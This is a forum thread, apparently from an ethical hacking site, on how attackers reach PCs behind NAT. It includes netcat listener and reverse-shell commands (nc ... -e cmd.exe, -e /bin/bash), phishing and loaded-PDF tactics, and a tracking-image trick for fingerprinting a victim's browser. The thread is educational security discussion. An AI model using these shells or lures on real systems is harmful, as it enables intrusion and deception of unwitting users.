Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 31 guests online
You are here:
Home
Ethical Hacking Discussions and Related Certifications
Network Pen Testing
CEH - Certified Ethical Hacker
how to penetrate pc through NAT ??
EH-Net
May 23, 2013, 07:37:14 PM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Network Pen Testing
>
CEH - Certified Ethical Hacker
(Moderator:
don
) >
how to penetrate pc through NAT ??
Pages: [
1
]
2
3
Go Down
« previous
next »
Print
Author
Topic: how to penetrate pc through NAT ?? (Read 27634 times)
0 Members and 1 Guest are viewing this topic.
rebrov
Full Member
Offline
Posts: 130
how to penetrate pc through NAT ??
«
on:
April 22, 2010, 03:54:53 PM »
i'll suppose i have 4 pc's in my network and ofcourse using NAT protocol to translate all my 4 addresses to 1 Puplic ip
well the Question is is there any chance to penetrate my network through NAT ?
and how to do it ?
Logged
kriscamaro68
Jr. Member
Offline
Posts: 61
Re: how to penetrate pc through NAT ??
«
Reply #1 on:
April 22, 2010, 04:00:08 PM »
Quote from: rebrov on April 22, 2010, 03:54:53 PM
i'll suppose i have 4 pc's in my network and ofcourse using NAT protocol to translate all my 4 addresses to 1 Puplic ip
well the Question is is there any chance to penetrate my network through NAT ?
and how to do it ?
I would think it would be possible through a social engineering attack of sorts by sending the user an e-mail which they click that installs some sort of software or maybe has a link to a site that infects the computer. Other then that I wouldn't know cause I am still to new at this stuff. Maybe someone else could shed some more light on it.
Logged
A+, Net+, Server+, Security+, MCP/XP
n1p
Jr. Member
Offline
Posts: 89
Re: how to penetrate pc through NAT ??
«
Reply #2 on:
April 22, 2010, 04:54:04 PM »
Yes, you may need to initiate a connection from the internal network/PCs. However NAT routers may also have running services that can exploited (remote administration/ftp). They may also forward ports to services on the client PC that may be exploited.
Logged
j0rDy
Hero Member
Offline
Posts: 590
Re: how to penetrate pc through NAT ??
«
Reply #3 on:
April 23, 2010, 02:19:36 AM »
attacks through a NAT is always done through a reverse connection cause of the fact you cannot connect directly to the machine in the network. like n1p said. if there are ports forwarded the attacker can connect to them directly...
Logged
ISC2 Associate, CEH, ECSA, OSCP, OSWP
earning my stripes appears to be a road i must travel alone...with a little help of EH.net
H1t M0nk3y
Hero Member
Offline
Posts: 865
Re: how to penetrate pc through NAT ??
«
Reply #4 on:
April 23, 2010, 06:41:23 AM »
To add to what j0rDy mentioned, your system could also get compromised by surfing to malicious web sites (cross-site scripting).
Logged
OSCP, GPEN, GWAPT, GSEC, CEH, CISSP
unsupported
Sr. Member
Offline
Posts: 318
Unofficial Newbie Moderator
Re: how to penetrate pc through NAT ??
«
Reply #5 on:
April 23, 2010, 07:48:07 AM »
For your scenario, you can shovel a shell/reverse shell using NetCat. How do you get NetCat on the machine from the outside? It is so small it can fit inside a buffer overflow or you can combine it with another executable which is run on the inside.
Logged
-Un
CISSP, GCIH, GCIA, C|EH, Sec+, Net+, MCP
rebrov
Full Member
Offline
Posts: 130
Re: how to penetrate pc through NAT ??
«
Reply #6 on:
May 13, 2010, 08:19:22 PM »
yes thats right only way to use reverse telnet ot reverse trojan ,,, a connect back trojan is that right ?
but how to use a reverse telnet connection to the target in case i can deliver the netcat to the target !?
Logged
Equix3n-
Sr. Member
Offline
Posts: 386
Re: how to penetrate pc through NAT ??
«
Reply #7 on:
May 13, 2010, 10:03:35 PM »
After you install netcat on the target machine you can create a reverse shell on the target machine that will connect to you.
Firstly, you must have a netacat listener running on your machine.
Code:
Command:
nc -l -p <port you want netcat to listen on>
Then you make a reverse shell from the target machine connect to you.
Code:
For windows target:
nc <your I.P address> <your open port> -e cmd.exe
Code:
For Linux target:
nc <your I.P address> <your open port> -e /bin/bash
«
Last Edit: May 13, 2010, 10:05:20 PM by Equix3n-
»
Logged
rebrov
Full Member
Offline
Posts: 130
Re: how to penetrate pc through NAT ??
«
Reply #8 on:
May 13, 2010, 11:22:05 PM »
Quote from: Equix3n- on May 13, 2010, 10:03:35 PM
After you install netcat on the target machine you can create a reverse shell on the target machine that will connect to you.
Firstly, you must have a netacat listener running on your machine.
Code:
Command:
nc -l -p <port you want netcat to listen on>
Then you make a reverse shell from the target machine connect to you.
Code:
For windows target:
nc <your I.P address> <your open port> -e cmd.exe
Code:
For Linux target:
nc <your I.P address> <your open port> -e /bin/bash
thats working only when u have physical access on the 2 machines right ?
and also i think u have to use kinda no-ip service if the 2 machines behind NAT right ??
but what if u dont have physical access to the machine its a penetrating not negotiating with 2 machines u own u got wat i mean ?
Logged
Equix3n-
Sr. Member
Offline
Posts: 386
Re: how to penetrate pc through NAT ??
«
Reply #9 on:
May 14, 2010, 01:47:49 AM »
You don't have to have physical access to these machine to launch a reverse shell. You can try for client side exploits and get the shell. It's all done
remotely.
Logged
rebrov
Full Member
Offline
Posts: 130
Re: how to penetrate pc through NAT ??
«
Reply #10 on:
May 15, 2010, 05:34:41 AM »
Quote from: Equix3n- on May 14, 2010, 01:47:49 AM
You don't have to have physical access to these machine to launch a reverse shell. You can try for client side exploits and get the shell. It's all done
remotely.
exploits ? what do u mean i can't exploit it yet cuz its natted !!
how can i exploit it if its natted in the first place ?
Logged
hayabusa
Hero Member
Offline
Posts: 1633
Re: how to penetrate pc through NAT ??
«
Reply #11 on:
May 15, 2010, 07:08:16 AM »
@rebrov -
To exploit a machine by NAT, you will have to get the remote user to access a malicious webpage, send an email that deceives them into opening a malicious attachment, or otherwise find a way to manipulate the remote user into executing code to create your reverse shell or otherwise give you access. That's why they said "You can try for client side exploits..." You need to find some vulnerability on the client machine that either auto-executes malicious code, or tricks the user into running it, so you can gain access. Aside of those, unless you gain physical access to a machine behind the NAT, and run code yourself, there won't be a way to exploit the clients behind NAT, as you cannot directly connect to them from outside, without a reverse shell.
Logged
~ hayabusa ~
"All men can see these tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved." - Sun Tzu, 'The Art of War'
OSCE, OSCP , GPEN, C|EH
Equix3n-
Sr. Member
Offline
Posts: 386
Re: how to penetrate pc through NAT ??
«
Reply #12 on:
May 15, 2010, 08:36:59 AM »
The goal of client-side exploits is to make the victim initiate an outbound connection to you. Here we try to exploit the applications installed on the victim's computer. The only drawback of this method is that you've to rely on the victim to access your machines or run your code. Furthermore you've to guess what software the victim might be running.
You've a server that serves exploits to the client machines connecting to it. You send a script/URL to the victim which makes the appropriate client machine to connect to the attacker's server. The server then exploits the client connecting to it.
For eg. suppose you know that a user is not very security conscious. He rarely update his system and is probably still using IE6. You send him a fake email which contains a link/script to your server that serves an appropriate IE6 exploit. When the user clicks on your URL and visits your server his browser is exploited to spawn a reverse shell to you.
As a side note, it will be good for you if you try to learn somethings from yourself too. I had already told you that client side exploits is the way to go here. You could have googled for client-side exploits which would've given you more detailed articles. Learning from a forum is only beneficial if you make some efforts from your side too. No one will spoon fed you, you can only be given pointers. I do not mean to discourage you from asking questions, you'll be helped in the future also, but want you to learn somethings yourself too.
Edit: I didn't mean to be rude. It's just that English isn't my primary language, so I may not have expressed my emotions clearly.
«
Last Edit: May 15, 2010, 12:38:14 PM by Equix3n-
»
Logged
rebrov
Full Member
Offline
Posts: 130
Re: how to penetrate pc through NAT ??
«
Reply #13 on:
May 15, 2010, 12:37:57 PM »
Quote from: Equix3n- on May 15, 2010, 08:36:59 AM
The goal of client-side exploits is to make the victim initiate an outbound connection to you. Here we try to exploit the applications installed on the victim's computer. The only drawback of this method is that you've to rely on the victim to access your machines or run your code. Furthermore you've to guess what software the victim might be running.
You've a server that serves exploits to the client machines connecting to it. You send a script/URL to the victim which makes the appropriate client machine to connect to the attacker's server. The server then exploits the client connecting to it.
For eg. suppose you know that a user is not very security conscious. He rarely update his system and is probably still using IE6. You send him a fake email which contains a link/script to your server that serves an appropriate IE6 exploit. When the user clicks on your URL and visits your server his browser is exploited to spawn a reverse shell to you.
As a side note, it will be good for you if you try to learn somethings from yourself too. I had already told you that client side exploits is the way to go here. You could have googled for client-side exploits which would've given you more detailed articles. Learning from a forum is only beneficial if you make some efforts from your side too. No one will spoon fed you, you can only be given pointers. I do not mean to discourage you from asking questions, you'll be helped in the future also, but want you to learn somethings yourself too.
no no u were so Gentel guys and helpful from my side i will try to search more and learn more about client-side i'll tell u what im gonna get later thanks guys for information
Logged
sil
Hero Member
Offline
Posts: 549
Re: how to penetrate pc through NAT ??
«
Reply #14 on:
May 15, 2010, 12:58:06 PM »
Quote from: rebrov on May 15, 2010, 12:37:57 PM
no no u were so Gentel guys and helpful from my side i will try to search more and learn more about client-side i'll tell u what im gonna get later thanks guys for information
Take a different approach here in understanding this from a non-technological perspective. This allows you to understand the concept more...
Technological approach
Client
Server
Non-tech approach
Client - someone paying you for something
Vendor (server) - someone offering a service
On the non-tech side, you as a vendor are providing say water. You'd like your client to buy (run software) water (exploit). How would you get the client to try your tasty water. Offer it to them for free. People like free.
Tech approach
Enumerate - either technically or socially - any potential services you think your client is running. Familiarize yourself somehow with his internals. Send them an email with an embedded picture:
Code:
<img src=http://mysite.com/nonexistentimage.jpg height=0 width=0>
What does this do for you? If you're running your own webserver, you could check your logs to see the useragent on his browser. Say you see the following:
Code:
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
You now know whomever opened that email is using IE 6.0 to surf the Internet. How do you cause your client (that machine) to open something innocuously and run code? Search for something that could potentially affect his browser. The client would run code and open a shell to you given the right parameters.
Client side: What could that person be running inside their network? If I send them a loaded PDF would I get a shell. If I sent them a heapspraying IE exploit targeted at IE 6.0 would I be able to come OUT from them TO wherever I need them to connect to?
Can I social engineer them to open a loaded file for me? Enumerate THEIR clients and business partners. Send them a loaded PDF spoofing one of their clients, business partners, co-workers. Get
them
to open up something you've created to exploit the
client side
. The key is to get them to run something. Could be a variety of things, use your imagination. What would get
YOU TO OPEN
a file or check a website?
Logged
http://www.infiltrated.net/mgz/puppylecter.jpg
Pages: [
1
]
2
3
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
GCIH - GIAC Certified Incident Handler
: Passed my GCIH
(5) by
MrTuxracer
Greetings
: Hi from the UK
(4) by
MrTuxracer
GCIH - GIAC Certified Incident Handler
: GCIH Free Practice test attempt
(0) by
prats84
News Items and General Discussion About EH-Net
: Change is Coming to EH-Net!!
(27) by
don
Network Pen Testing
: AIX Vulnerability Assessments
(2) by
ras76
Tutorials
: Need guidance
(9) by
hanyhasan
Programming
: Finished Python Course in Codecademy now what?
(15) by
hanyhasan
Network Pen Testing
: Ruby on Rails Vulnerabilities / Attacks in BackTrack 5 r3
(0) by
SUdoctstudent
Network Pen Testing
: De-ICE 1.140 released!
(2) by
superkojiman
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.